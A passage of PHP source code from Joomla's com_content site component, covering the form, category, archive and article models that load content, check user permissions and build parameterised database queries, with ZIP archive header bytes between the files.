        // Get a row instance.
        $table = $this->getTable();

        // Attempt to load the row.
        $return = $table->load($itemId);

        // Check for a table object error.
        if ($return === false && $table->getError()) {
            $this->setError($table->getError());

            return false;
        }

        $properties = $table->getProperties(1);
        $value      = ArrayHelper::toObject($properties, CMSObject::class);

        // Convert attrib field to Registry.
        $value->params = new Registry($value->attribs);

        // Compute selected asset permissions.
        $user   = $this->getCurrentUser();
        $userId = $user->get('id');
        $asset  = 'com_content.article.' . $value->id;

        // Check general edit permission first.
        if ($user->authorise('core.edit', $asset)) {
            $value->params->set('access-edit', true);
        } elseif (!empty($userId) && $user->authorise('core.edit.own', $asset)) {
            // Now check if edit.own is available.
            // Check for a valid user and that they are the owner.
            if ($userId == $value->created_by) {
                $value->params->set('access-edit', true);
            }
        }

        // Check edit state permission.
        if ($itemId) {
            // Existing item
            $value->params->set('access-change', $user->authorise('core.edit.state', $asset));
        } else {
            // New item.
            $catId = (int) $this->getState('article.catid');

            if ($catId) {
                $value->params->set('access-change', $user->authorise('core.edit.state', 'com_content.category.' . $catId));
                $value->catid = $catId;
            } else {
                $value->params->set('access-change', $user->authorise('core.edit.state', 'com_content'));
            }
        }

        $value->articletext = $value->introtext;

        if (!empty($value->fulltext)) {
            $value->articletext .= '<hr id="system-readmore">' . $value->fulltext;
        }

        // Convert the metadata field to an array.
        $registry        = new Registry($value->metadata);
        $value->metadata = $registry->toArray();

        if ($itemId) {
            $value->tags = new TagsHelper();
            $value->tags->getTagIds($value->id, 'com_content.article');
            $value->metadata['tags'] = $value->tags;

            $value->featured_up   = null;
            $value->featured_down = null;

            if ($value->featured) {
                // Get featured dates.
                $db    = $this->getDatabase();
                $query = $db->getQuery(true)
                    ->select(
                        [
                            $db->quoteName('featured_up'),
                            $db->quoteName('featured_down'),
                        ]
                    )
                    ->from($db->quoteName('#__content_frontpage'))
                    ->where($db->quoteName('content_id') . ' = :id')
                    ->bind(':id', $value->id, ParameterType::INTEGER);

                $featured = $db->setQuery($query)->loadObject();

                if ($featured) {
                    $value->featured_up   = $featured->featured_up;
                    $value->featured_down = $featured->featured_down;
                }
            }
        }

        return $value;
    }

    /**
     * Get the return URL.
     *
     * @return  string  The return URL.
     *
     * @since   1.6
     */
    public function getReturnPage()
    {
        return base64_encode($this->getState('return_page', ''));
    }

    /**
     * Method to save the form data.
     *
     * @param   array  $data  The form data.
     *
     * @return  boolean  True on success.
     *
     * @since   3.2
     */
    public function save($data)
    {
        // Associations are not edited in frontend ATM so we have to inherit them
        if (
            Associations::isEnabled() && !empty($data['id'])
            && $associations = Associations::getAssociations('com_content', '#__content', 'com_content.item', $data['id'])
        ) {
            foreach ($associations as $tag => $associated) {
                $associations[$tag] = (int) $associated->id;
            }

            $data['associations'] = $associations;
        }

        if (!Multilanguage::isEnabled()) {
            $data['language'] = '*';
        }

        return parent::save($data);
    }

    /**
     * Method to get the record form.
     *
     * @param   array    $data      Data for the form.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  Form|boolean  A Form object on success, false on failure
     *
     * @since   1.6
     */
    public function getForm($data = [], $loadData = true)
    {
        $form = parent::getForm($data, $loadData);

        if (empty($form)) {
            return false;
        }

        $app  = Factory::getApplication();
        $user = $app->getIdentity();

        // On edit article, we get ID of article from article.id state, but on save, we use data from input
        $id = (int) $this->getState('article.id', $app->getInput()->getInt('a_id'));

        // Existing record. We can't edit the category in frontend if not edit.state.
        if ($id > 0 && !$user->authorise('core.edit.state', 'com_content.article.' . $id)) {
            $form->setFieldAttribute('catid', 'readonly', 'true');
            $form->setFieldAttribute('catid', 'required', 'false');
            $form->setFieldAttribute('catid', 'filter', 'unset');
        }

        // Prevent messing with article language and category when editing existing article with associations
        if ($this->getState('article.id') && Associations::isEnabled()) {
            $associations = Associations::getAssociations('com_content', '#__content', 'com_content.item', $id);

            // Make fields read only
            if (!empty($associations)) {
                $form->setFieldAttribute('language', 'readonly', 'true');
                $form->setFieldAttribute('catid', 'readonly', 'true');
                $form->setFieldAttribute('language', 'filter', 'unset');
                $form->setFieldAttribute('catid', 'filter', 'unset');
            }
        }

        return $form;
    }

    /**
     * Allows preprocessing of the JForm object.
     *
     * @param   Form    $form   The form object
     * @param   array   $data   The data to be merged into the form object
     * @param   string  $group  The plugin group to be executed
     *
     * @return  void
     *
     * @since   3.7.0
     */
    protected function preprocessForm(Form $form, $data, $group = 'content')
    {
        $params = $this->getState()->get('params');

        if ($params && $params->get('enable_category') == 1 && $params->get('catid')) {
            $form->setFieldAttribute('catid', 'default', $params->get('catid'));
            $form->setFieldAttribute('catid', 'readonly', 'true');

            if (Multilanguage::isEnabled()) {
                $categoryId = (int) $params->get('catid');

                $db    = $this->getDatabase();
                $query = $db->getQuery(true)
                    ->select($db->quoteName('language'))
                    ->from($db->quoteName('#__categories'))
                    ->where($db->quoteName('id') . ' = :categoryId')
                    ->bind(':categoryId', $categoryId, ParameterType::INTEGER);
                $db->setQuery($query);

                $result = $db->loadResult();

                if ($result != '*') {
                    $form->setFieldAttribute('language', 'readonly', 'true');
                    $form->setFieldAttribute('language', 'default', $result);
                }
            }
        }

        if (!Multilanguage::isEnabled()) {
            $form->setFieldAttribute('language', 'type', 'hidden');
            $form->setFieldAttribute('language', 'default', '*');
        }

        parent::preprocessForm($form, $data, $group);
    }

    /**
     * Method to get a table object, load it if necessary.
     *
     * @param   string  $name     The table name. Optional.
     * @param   string  $prefix   The class prefix. Optional.
     * @param   array   $options  Configuration array for model. Optional.
     *
     * @return  Table  A Table object
     *
     * @since   4.0.0
     * @throws  \Exception
     */
    public function getTable($name = 'Article', $prefix = 'Administrator', $options = [])
    {
        return parent::getTable($name, $prefix, $options);
    }
}
PK���\�Kak;k;'com_content/src/Model/CategoryModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\Model;

use Joomla\CMS\Categories\Categories;
use Joomla\CMS\Categories\CategoryNode;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\CMS\Table\Table;
use Joomla\Component\Content\Site\Helper\QueryHelper;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * This models supports retrieving a category, the articles associated with the category,
 * sibling, child and parent categories.
 *
 * @since  1.5
 */
class CategoryModel extends ListModel
{
    /**
     * Category items data
     *
     * @var  array
     */
    protected $_item = null;

    /**
     * Array of articles in the category
     *
     * @var \stdClass[]
     */
    protected $_articles = null;

    /**
     * Category left and right of this one
     *
     * @var  CategoryNode[]|null
     */
    protected $_siblings = null;

    /**
     * Array of child-categories
     *
     * @var  CategoryNode[]|null
     */
    protected $_children = null;

    /**
     * Parent category of the current one
     *
     * @var  CategoryNode|null
     */
    protected $_parent = null;

    /**
     * Model context string.
     *
     * @var  string
     */
    protected $_context = 'com_content.category';

    /**
     * The category that applies.
     *
     * @var  object
     */
    protected $_category = null;

    /**
     * The list of categories.
     *
     * @var  array
     */
    protected $_categories = null;

    /**
     * @param   array  $config  An optional associative array of configuration settings.
     *
     * @since   1.6
     */
    public function __construct($config = [])
    {
        if (empty($config['filter_fields'])) {
            $config['filter_fields'] = [
                'id', 'a.id',
                'title', 'a.title',
                'alias', 'a.alias',
                'checked_out', 'a.checked_out',
                'checked_out_time', 'a.checked_out_time',
                'catid', 'a.catid', 'category_title',
                'state', 'a.state',
                'access', 'a.access', 'access_level',
                'created', 'a.created',
                'created_by', 'a.created_by',
                'modified', 'a.modified',
                'ordering', 'a.ordering',
                'featured', 'a.featured',
                'language', 'a.language',
                'hits', 'a.hits',
                'publish_up', 'a.publish_up',
                'publish_down', 'a.publish_down',
                'author', 'a.author',
                'filter_tag',
            ];
        }

        parent::__construct($config);
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   The field to order on.
     * @param   string  $direction  The direction to order on.
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState($ordering = null, $direction = null)
    {
        $app = Factory::getApplication();

        $pk  = $app->getInput()->getInt('id');
        $this->setState('category.id', $pk);

        // Load the parameters. Merge Global and Menu Item params into new object
        $params = $app->getParams();
        $this->setState('params', $params);

        $user  = $this->getCurrentUser();
        $asset = 'com_content';

        if ($pk) {
            $asset .= '.category.' . $pk;
        }

        if ((!$user->authorise('core.edit.state', $asset)) && (!$user->authorise('core.edit', $asset))) {
            // Limit to published for people who can't edit or edit.state.
            $this->setState('filter.published', 1);
        } else {
            $this->setState('filter.published', [0, 1]);
        }

        // Process show_noauth parameter
        if (!$params->get('show_noauth')) {
            $this->setState('filter.access', true);
        } else {
            $this->setState('filter.access', false);
        }

        $itemid = $app->getInput()->get('id', 0, 'int') . ':' . $app->getInput()->get('Itemid', 0, 'int');

        $value = $this->getUserStateFromRequest('com_content.category.filter.' . $itemid . '.tag', 'filter_tag', 0, 'int', false);
        $this->setState('filter.tag', $value);

        // Optional filter text
        $search = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter-search', 'filter-search', '', 'string');
        $this->setState('list.filter', $search);

        // Filter.order
        $orderCol = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order', 'filter_order', '', 'string');

        if (!in_array($orderCol, $this->filter_fields)) {
            $orderCol = 'a.ordering';
        }

        $this->setState('list.ordering', $orderCol);

        $listOrder = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order_Dir', 'filter_order_Dir', '', 'cmd');

        if (!in_array(strtoupper($listOrder), ['ASC', 'DESC', ''])) {
            $listOrder = 'ASC';
        }

        $this->setState('list.direction', $listOrder);

        $this->setState('list.start', $app->getInput()->get('limitstart', 0, 'uint'));

        // Set limit for query. If list, use parameter. If blog, add blog parameters for limit.
        if (($app->getInput()->get('layout') === 'blog') || $params->get('layout_type') === 'blog') {
            $limit = $params->get('num_leading_articles') + $params->get('num_intro_articles') + $params->get('num_links');
            $this->setState('list.links', $params->get('num_links'));
        } else {
            $limit = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.limit', 'limit', $params->get('display_num'), 'uint');
        }

        $this->setState('list.limit', $limit);

        // Set the depth of the category query based on parameter
        $showSubcategories = $params->get('show_subcategory_content', '0');

        if ($showSubcategories) {
            $this->setState('filter.max_category_levels', $params->get('show_subcategory_content', '1'));
            $this->setState('filter.subcategories', true);
        }

        $this->setState('filter.language', Multilanguage::isEnabled());

        $this->setState('layout', $app->getInput()->getString('layout'));

        // Set the featured articles state
        $this->setState('filter.featured', $params->get('show_featured'));
    }

    /**
     * Get the articles in the category
     *
     * @return  array|bool  An array of articles or false if an error occurs.
     *
     * @since   1.5
     */
    public function getItems()
    {
        $limit = $this->getState('list.limit');

        if ($this->_articles === null && $category = $this->getCategory()) {
            $model = $this->bootComponent('com_content')->getMVCFactory()
                ->createModel('Articles', 'Site', ['ignore_request' => true]);
            $model->setState('params', Factory::getApplication()->getParams());
            $model->setState('filter.category_id', $category->id);
            $model->setState('filter.published', $this->getState('filter.published'));
            $model->setState('filter.access', $this->getState('filter.access'));
            $model->setState('filter.language', $this->getState('filter.language'));
            $model->setState('filter.featured', $this->getState('filter.featured'));
            $model->setState('list.ordering', $this->_buildContentOrderBy());
            $model->setState('list.start', $this->getState('list.start'));
            $model->setState('list.limit', $limit);
            $model->setState('list.direction', $this->getState('list.direction'));
            $model->setState('list.filter', $this->getState('list.filter'));
            $model->setState('filter.tag', $this->getState('filter.tag'));

            // Filter.subcategories indicates whether to include articles from subcategories in the list or blog
            $model->setState('filter.subcategories', $this->getState('filter.subcategories'));
            $model->setState('filter.max_category_levels', $this->getState('filter.max_category_levels'));
            $model->setState('list.links', $this->getState('list.links'));

            if ($limit >= 0) {
                $this->_articles = $model->getItems();

                if ($this->_articles === false) {
                    $this->setError($model->getError());
                }
            } else {
                $this->_articles = [];
            }

            $this->_pagination = $model->getPagination();
        }

        return $this->_articles;
    }

    /**
     * Build the orderby for the query
     *
     * @return  string  $orderby portion of query
     *
     * @since   1.5
     */
    protected function _buildContentOrderBy()
    {
        $app       = Factory::getApplication();
        $db        = $this->getDatabase();
        $params    = $this->state->params;
        $itemid    = $app->getInput()->get('id', 0, 'int') . ':' . $app->getInput()->get('Itemid', 0, 'int');
        $orderCol  = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order', 'filter_order', '', 'string');
        $orderDirn = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order_Dir', 'filter_order_Dir', '', 'cmd');
        $orderby   = ' ';

        if (!in_array($orderCol, $this->filter_fields)) {
            $orderCol = null;
        }

        if (!in_array(strtoupper($orderDirn), ['ASC', 'DESC', ''])) {
            $orderDirn = 'ASC';
        }

        if ($orderCol && $orderDirn) {
            $orderby .= $db->escape($orderCol) . ' ' . $db->escape($orderDirn) . ', ';
        }

        $articleOrderby   = $params->get('orderby_sec', 'rdate');
        $articleOrderDate = $params->get('order_date');
        $categoryOrderby  = $params->def('orderby_pri', '');
        $secondary        = QueryHelper::orderbySecondary($articleOrderby, $articleOrderDate, $this->getDatabase()) . ', ';
        $primary          = QueryHelper::orderbyPrimary($categoryOrderby);

        $orderby .= $primary . ' ' . $secondary . ' a.created ';

        return $orderby;
    }

    /**
     * Method to get a JPagination object for the data set.
     *
     * @return  \Joomla\CMS\Pagination\Pagination  A JPagination object for the data set.
     *
     * @since   3.0.1
     */
    public function getPagination()
    {
        if (empty($this->_pagination)) {
            return null;
        }

        return $this->_pagination;
    }

    /**
     * Method to get category data for the current category
     *
     * @return  object
     *
     * @since   1.5
     */
    public function getCategory()
    {
        if (!is_object($this->_item)) {
            if (isset($this->state->params)) {
                $params                = $this->state->params;
                $options               = [];
                $options['countItems'] = $params->get('show_cat_num_articles', 1) || !$params->get('show_empty_categories_cat', 0);
                $options['access']     = $params->get('check_access_rights', 1);
            } else {
                $options['countItems'] = 0;
            }

            $categories  = Categories::getInstance('Content', $options);
            $this->_item = $categories->get($this->getState('category.id', 'root'));

            // Compute selected asset permissions.
            if (is_object($this->_item)) {
                $user  = $this->getCurrentUser();
                $asset = 'com_content.category.' . $this->_item->id;

                // Check general create permission.
                if ($user->authorise('core.create', $asset)) {
                    $this->_item->getParams()->set('access-create', true);
                }

                // @todo: Why aren't we lazy loading the children and siblings?
                $this->_children = $this->_item->getChildren();
                $this->_parent   = false;

                if ($this->_item->getParent()) {
                    $this->_parent = $this->_item->getParent();
                }

                $this->_rightsibling = $this->_item->getSibling();
                $this->_leftsibling  = $this->_item->getSibling(false);
            } else {
                $this->_children = false;
                $this->_parent   = false;
            }
        }

        return $this->_item;
    }

    /**
     * Get the parent category.
     *
     * @return  mixed  An array of categories or false if an error occurs.
     *
     * @since   1.6
     */
    public function getParent()
    {
        if (!is_object($this->_item)) {
            $this->getCategory();
        }

        return $this->_parent;
    }

    /**
     * Get the left sibling (adjacent) categories.
     *
     * @return  mixed  An array of categories or false if an error occurs.
     *
     * @since   1.6
     */
    public function &getLeftSibling()
    {
        if (!is_object($this->_item)) {
            $this->getCategory();
        }

        return $this->_leftsibling;
    }

    /**
     * Get the right sibling (adjacent) categories.
     *
     * @return  mixed  An array of categories or false if an error occurs.
     *
     * @since   1.6
     */
    public function &getRightSibling()
    {
        if (!is_object($this->_item)) {
            $this->getCategory();
        }

        return $this->_rightsibling;
    }

    /**
     * Get the child categories.
     *
     * @return  mixed  An array of categories or false if an error occurs.
     *
     * @since   1.6
     */
    public function &getChildren()
    {
        if (!is_object($this->_item)) {
            $this->getCategory();
        }

        // Order subcategories
        if ($this->_children) {
            $params = $this->getState()->get('params');

            $orderByPri = $params->get('orderby_pri');

            if ($orderByPri === 'alpha' || $orderByPri === 'ralpha') {
                $this->_children = ArrayHelper::sortObjects($this->_children, 'title', ($orderByPri === 'alpha') ? 1 : (-1));
            }
        }

        return $this->_children;
    }

    /**
     * Increment the hit counter for the category.
     *
     * @param   int  $pk  Optional primary key of the category to increment.
     *
     * @return  boolean True if successful; false otherwise and internal error set.
     */
    public function hit($pk = 0)
    {
        $input    = Factory::getApplication()->getInput();
        $hitcount = $input->getInt('hitcount', 1);

        if ($hitcount) {
            $pk = (!empty($pk)) ? $pk : (int) $this->getState('category.id');

            $table = Table::getInstance('Category', 'JTable');
            $table->hit($pk);
        }

        return true;
    }
}
PK���\x�Qvv&com_content/src/Model/ArchiveModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\Model;

use Joomla\CMS\Factory;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\QueryHelper;
use Joomla\Database\ParameterType;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Content Component Archive Model
 *
 * @since  1.5
 */
class ArchiveModel extends ArticlesModel
{
    /**
     * Model context string.
     *
     * @var     string
     */
    public $_context = 'com_content.archive';

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   The field to order on.
     * @param   string  $direction  The direction to order on.
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState($ordering = null, $direction = null)
    {
        parent::populateState();

        $app   = Factory::getApplication();
        $input = $app->getInput();

        // Add archive properties
        $params = $this->state->get('params');

        // Filter on archived articles
        $this->setState('filter.published', ContentComponent::CONDITION_ARCHIVED);

        // Filter on month, year
        $this->setState('filter.month', $input->getInt('month'));
        $this->setState('filter.year', $input->getInt('year'));

        // Optional filter text
        $this->setState('list.filter', $input->getString('filter-search'));

        // Get list limit
        $itemid = $input->get('Itemid', 0, 'int');
        $limit  = $app->getUserStateFromRequest('com_content.archive.list' . $itemid . '.limit', 'limit', $params->get('display_num', 20), 'uint');
        $this->setState('list.limit', $limit);

        // Set the archive ordering
        $articleOrderby   = $params->get('orderby_sec', 'rdate');
        $articleOrderDate = $params->get('order_date');

        // No category ordering
        $secondary = QueryHelper::orderbySecondary($articleOrderby, $articleOrderDate, $this->getDatabase());

        $this->setState('list.ordering', $secondary . ', a.created DESC');
        $this->setState('list.direction', '');
    }

    /**
     * Get the main query for retrieving a list of articles subject to the model state.
     *
     * @return  \Joomla\Database\DatabaseQuery
     *
     * @since   1.6
     */
    protected function getListQuery()
    {
        $params           = $this->state->params;
        $app              = Factory::getApplication();
        $catids           = $app->getInput()->get('catid', [], 'array');
        $catids           = array_values(array_diff($catids, ['']));

        $articleOrderDate = $params->get('order_date');

        // Create a new query object.
        $db    = $this->getDatabase();
        $query = parent::getListQuery();

        // Add routing for archive
        $query->select(
            [
                $this->getSlugColumn($query, 'a.id', 'a.alias') . ' AS ' . $db->quoteName('slug'),
                $this->getSlugColumn($query, 'c.id', 'c.alias') . ' AS ' . $db->quoteName('catslug'),
            ]
        );

        // Filter on month, year
        // First, get the date field
        $queryDate = QueryHelper::getQueryDate($articleOrderDate, $this->getDatabase());

        if ($month = (int) $this->getState('filter.month')) {
            $query->where($query->month($queryDate) . ' = :month')
                ->bind(':month', $month, ParameterType::INTEGER);
        }

        if ($year = (int) $this->getState('filter.year')) {
            $query->where($query->year($queryDate) . ' = :year')
                ->bind(':year', $year, ParameterType::INTEGER);
        }

        if (count($catids) > 0) {
            $query->whereIn($db->quoteName('c.id'), $catids);
        }

        return $query;
    }

    /**
     * Method to get the archived article list
     *
     * @access public
     * @return array
     */
    public function getData()
    {
        $app = Factory::getApplication();

        // Lets load the content if it doesn't already exist
        if (empty($this->_data)) {
            // Get the page/component configuration
            $params = $app->getParams();

            // Get the pagination request variables
            $limit      = $app->getInput()->get('limit', $params->get('display_num', 20), 'uint');
            $limitstart = $app->getInput()->get('limitstart', 0, 'uint');

            $query = $this->_buildQuery();

            $this->_data = $this->_getList($query, $limitstart, $limit);
        }

        return $this->_data;
    }

    /**
     * Gets the archived articles years
     *
     * @return   array
     *
     * @since    3.6.0
     */
    public function getYears()
    {
        $db        = $this->getDatabase();
        $nowDate   = Factory::getDate()->toSql();
        $query     = $db->getQuery(true);
        $queryDate = QueryHelper::getQueryDate($this->state->params->get('order_date'), $db);
        $years     = $query->year($queryDate);

        $query->select('DISTINCT ' . $years)
            ->from($db->quoteName('#__content', 'a'))
            ->where($db->quoteName('a.state') . ' = ' . ContentComponent::CONDITION_ARCHIVED)
            ->extendWhere(
                'AND',
                [
                    $db->quoteName('a.publish_up') . ' IS NULL',
                    $db->quoteName('a.publish_up') . ' <= :publishUp',
                ],
                'OR'
            )
            ->extendWhere(
                'AND',
                [
                    $db->quoteName('a.publish_down') . ' IS NULL',
                    $db->quoteName('a.publish_down') . ' >= :publishDown',
                ],
                'OR'
            )
            ->bind(':publishUp', $nowDate)
            ->bind(':publishDown', $nowDate)
            ->order('1 ASC');

        $db->setQuery($query);

        return $db->loadColumn();
    }

    /**
     * Generate column expression for slug or catslug.
     *
     * @param   \Joomla\Database\DatabaseQuery  $query  Current query instance.
     * @param   string                          $id     Column id name.
     * @param   string                          $alias  Column alias name.
     *
     * @return  string
     *
     * @since   4.0.0
     */
    private function getSlugColumn($query, $id, $alias)
    {
        $db = $this->getDatabase();

        return 'CASE WHEN '
            . $query->charLength($db->quoteName($alias), '!=', '0')
            . ' THEN '
            . $query->concatenate([$query->castAsChar($db->quoteName($id)), $db->quoteName($alias)], ':')
            . ' ELSE '
            . $query->castAsChar($id) . ' END';
    }
}
PK���\]�ՇNCNC&com_content/src/Model/ArticleModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\Model;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\ItemModel;
use Joomla\CMS\Table\Table;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Database\ParameterType;
use Joomla\Registry\Registry;
use Joomla\Utilities\IpHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Content Component Article Model
 *
 * @since  1.5
 */
class ArticleModel extends ItemModel
{
    /**
     * Model context string.
     *
     * @var        string
     */
    protected $_context = 'com_content.article';

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @since   1.6
     *
     * @return void
     */
    protected function populateState()
    {
        $app = Factory::getApplication();

        // Load state from the request.
        $pk = $app->getInput()->getInt('id');
        $this->setState('article.id', $pk);

        $offset = $app->getInput()->getUint('limitstart');
        $this->setState('list.offset', $offset);

        // Load the parameters.
        $params = $app->getParams();
        $this->setState('params', $params);

        $user = $this->getCurrentUser();

        // If $pk is set then authorise on complete asset, else on component only
        $asset = empty($pk) ? 'com_content' : 'com_content.article.' . $pk;

        if ((!$user->authorise('core.edit.state', $asset)) && (!$user->authorise('core.edit', $asset))) {
            $this->setState('filter.published', ContentComponent::CONDITION_PUBLISHED);
            $this->setState('filter.archived', ContentComponent::CONDITION_ARCHIVED);
        }

        $this->setState('filter.language', Multilanguage::isEnabled());
    }

    /**
     * Method to get article data.
     *
     * @param   integer  $pk  The id of the article.
     *
     * @return  object|boolean  Menu item data object on success, boolean false
     */
    public function getItem($pk = null)
    {
        $user = $this->getCurrentUser();

        $pk = (int) ($pk ?: $this->getState('article.id'));

        if ($this->_item === null) {
            $this->_item = [];
        }

        if (!isset($this->_item[$pk])) {
            try {
                $db    = $this->getDatabase();
                $query = $db->getQuery(true);

                $query->select(
                    $this->getState(
                        'item.select',
                        [
                            $db->quoteName('a.id'),
                            $db->quoteName('a.asset_id'),
                            $db->quoteName('a.title'),
                            $db->quoteName('a.alias'),
                            $db->quoteName('a.introtext'),
                            $db->quoteName('a.fulltext'),
                            $db->quoteName('a.state'),
                            $db->quoteName('a.catid'),
                            $db->quoteName('a.created'),
                            $db->quoteName('a.created_by'),
                            $db->quoteName('a.created_by_alias'),
                            $db->quoteName('a.modified'),
                            $db->quoteName('a.modified_by'),
                            $db->quoteName('a.checked_out'),
                            $db->quoteName('a.checked_out_time'),
                            $db->quoteName('a.publish_up'),
                            $db->quoteName('a.publish_down'),
                            $db->quoteName('a.images'),
                            $db->quoteName('a.urls'),
                            $db->quoteName('a.attribs'),
                            $db->quoteName('a.version'),
                            $db->quoteName('a.ordering'),
                            $db->quoteName('a.metakey'),
                            $db->quoteName('a.metadesc'),
                            $db->quoteName('a.access'),
                            $db->quoteName('a.hits'),
                            $db->quoteName('a.metadata'),
                            $db->quoteName('a.featured'),
                            $db->quoteName('a.language'),
                        ]
                    )
                )
                    ->select(
                        [
                            $db->quoteName('fp.featured_up'),
                            $db->quoteName('fp.featured_down'),
                            $db->quoteName('c.title', 'category_title'),
                            $db->quoteName('c.alias', 'category_alias'),
                            $db->quoteName('c.access', 'category_access'),
                            $db->quoteName('c.language', 'category_language'),
                            $db->quoteName('fp.ordering'),
                            $db->quoteName('u.name', 'author'),
                            $db->quoteName('parent.title', 'parent_title'),
                            $db->quoteName('parent.id', 'parent_id'),
                            $db->quoteName('parent.path', 'parent_route'),
                            $db->quoteName('parent.alias', 'parent_alias'),
                            $db->quoteName('parent.language', 'parent_language'),
                            'ROUND(' . $db->quoteName('v.rating_sum') . ' / ' . $db->quoteName('v.rating_count') . ', 1) AS '
                                . $db->quoteName('rating'),
                            $db->quoteName('v.rating_count', 'rating_count'),
                        ]
                    )
                    ->from($db->quoteName('#__content', 'a'))
                    ->join(
                        'INNER',
                        $db->quoteName('#__categories', 'c'),
                        $db->quoteName('c.id') . ' = ' . $db->quoteName('a.catid')
                    )
                    ->join('LEFT', $db->quoteName('#__content_frontpage', 'fp'), $db->quoteName('fp.content_id') . ' = ' . $db->quoteName('a.id'))
                    ->join('LEFT', $db->quoteName('#__users', 'u'), $db->quoteName('u.id') . ' = ' . $db->quoteName('a.created_by'))
                    ->join('LEFT', $db->quoteName('#__categories', 'parent'), $db->quoteName('parent.id') . ' = ' . $db->quoteName('c.parent_id'))
                    ->join('LEFT', $db->quoteName('#__content_rating', 'v'), $db->quoteName('a.id') . ' = ' . $db->quoteName('v.content_id'))
                    ->where(
                        [
                            $db->quoteName('a.id') . ' = :pk',
                            $db->quoteName('c.published') . ' > 0',
                        ]
                    )
                    ->bind(':pk', $pk, ParameterType::INTEGER);

                // Filter by language
                if ($this->getState('filter.language')) {
                    $query->whereIn($db->quoteName('a.language'), [Factory::getLanguage()->getTag(), '*'], ParameterType::STRING);
                }

                if (
                    !$user->authorise('core.edit.state', 'com_content.article.' . $pk)
                    && !$user->authorise('core.edit', 'com_content.article.' . $pk)
                ) {
                    // Filter by start and end dates.
                    $nowDate = Factory::getDate()->toSql();

                    $query->extendWhere(
                        'AND',
                        [
                            $db->quoteName('a.publish_up') . ' IS NULL',
                            $db->quoteName('a.publish_up') . ' <= :publishUp',
                        ],
                        'OR'
                    )
                        ->extendWhere(
                            'AND',
                            [
                                $db->quoteName('a.publish_down') . ' IS NULL',
                                $db->quoteName('a.publish_down') . ' >= :publishDown',
                            ],
                            'OR'
                        )
                        ->bind([':publishUp', ':publishDown'], $nowDate);
                }

                // Filter by published state.
                $published = $this->getState('filter.published');
                $archived  = $this->getState('filter.archived');

                if (is_numeric($published)) {
                    $query->whereIn($db->quoteName('a.state'), [(int) $published, (int) $archived]);
                }

                $db->setQuery($query);

                $data = $db->loadObject();

                if (empty($data)) {
                    throw new \Exception(Text::_('COM_CONTENT_ERROR_ARTICLE_NOT_FOUND'), 404);
                }

                // Check for published state if filter set.
                if ((is_numeric($published) || is_numeric($archived)) && ($data->state != $published && $data->state != $archived)) {
                    throw new \Exception(Text::_('COM_CONTENT_ERROR_ARTICLE_NOT_FOUND'), 404);
                }

                // Convert parameter fields to objects.
                $registry = new Registry($data->attribs);

                $data->params = clone $this->getState('params');
                $data->params->merge($registry);

                $data->metadata = new Registry($data->metadata);

                // Technically guest could edit an article, but lets not check that to improve performance a little.
                if (!$user->get('guest')) {
                    $userId = $user->get('id');
                    $asset  = 'com_content.article.' . $data->id;

                    // Check general edit permission first.
                    if ($user->authorise('core.edit', $asset)) {
                        $data->params->set('access-edit', true);
                    } elseif (!empty($userId) && $user->authorise('core.edit.own', $asset)) {
                        // Now check if edit.own is available.
                        // Check for a valid user and that they are the owner.
                        if ($userId == $data->created_by) {
                            $data->params->set('access-edit', true);
                        }
                    }
                }

                // Compute view access permissions.
                if ($access = $this->getState('filter.access')) {
                    // If the access filter has been set, we already know this user can view.
                    $data->params->set('access-view', true);
                } else {
                    // If no access filter is set, the layout takes some responsibility for display of limited information.
                    $user   = $this->getCurrentUser();
                    $groups = $user->getAuthorisedViewLevels();

                    if ($data->catid == 0 || $data->category_access === null) {
                        $data->params->set('access-view', in_array($data->access, $groups));
                    } else {
                        $data->params->set('access-view', in_array($data->access, $groups) && in_array($data->category_access, $groups));
                    }
                }

                $this->_item[$pk] = $data;
            } catch (\Exception $e) {
                if ($e->getCode() == 404) {
                    // Need to go through the error handler to allow Redirect to work.
                    throw $e;
                } else {
                    $this->setError($e);
                    $this->_item[$pk] = false;
                }
            }
        }

        return $this->_item[$pk];
    }

    /**
     * Increment the hit counter for the article.
     *
     * @param   integer  $pk  Optional primary key of the article to increment.
     *
